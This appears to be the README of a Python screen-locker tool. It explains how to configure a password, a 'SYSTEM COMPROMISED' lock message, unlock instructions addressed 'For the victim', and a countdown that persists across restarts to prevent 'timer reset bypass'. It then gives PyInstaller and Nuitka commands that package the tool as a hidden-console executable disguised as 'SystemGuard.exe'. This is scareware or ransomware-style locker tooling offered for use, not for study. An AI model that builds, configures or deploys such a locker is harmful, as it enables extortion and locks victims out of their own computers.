Timer Persistence Logic

# Timer data saved every second to:
C:\Users\[Username]\AppData\Roaming\SystemGuard\timer_data.json

# On system restart:
# - Load remaining time from JSON
# - Continue countdown from saved value
# - Prevents timer reset bypass

📥 Installation & Setup

Prerequisites

# Install Python 3.7+ from https://python.org
# Install required packages:
pip install keyboard
pip install pyinstaller

Quick Start

1. Clone or download this repository

2. Edit configuration in Screen-Locker.py:

password = "your_secret_password"
lock_text = "⚠️ YOUR CUSTOM MESSAGE ⚠️"
note = "Your custom warning message here"
steps = "Your custom unlock instructions"
Convert to EXE (see Build Instructions below)

Configuration

Basic Settings

# Password Protection
password = "12345"                    # Change this!

# Visual Elements
lock_text = "⚠️ SYSTEM COMPROMISED ⚠️"  # Main title
note = '''Your custom warning message    
showing here...''' # Left panel text

steps = '''[ UNLOCK INSTRUCTION ]        
1. Instructions here
2. For the victim''' # Right panel text

# Timer Settings
time = 300                       # Seconds (300 = 5min)

🏗️ Build Instructions

Method 1: PyInstaller (Recommended)

# Normal convert:
pyinstaller Screen-Locker.py --onefile --noconsole

# Single file executable with console hidden
pyinstaller --onefile --noconsole --icon=lock.ico Screen-Locker.py

# With custom name
pyinstaller --onefile --noconsole --name="SystemGuard.exe" Screen-Locker.py

# For smaller file size
pyinstaller --onefile --noconsole --upx-dir="C:\upx" Screen-Locker.py

Method 2: Auto-py-to-exe (GUI)

# Install
pip install auto-py-to-exe

# Run
auto-py-to-exe

# Settings:
# - Script Location: Screen-Locker.py
# - One File: YES
# - Console Window: NO
# - Icon: (optional)

Method 3: Nuitka (Advanced)

pip install nuitka
nuitka --standalone --onefile --windows-disable-console Screen-Locker.py
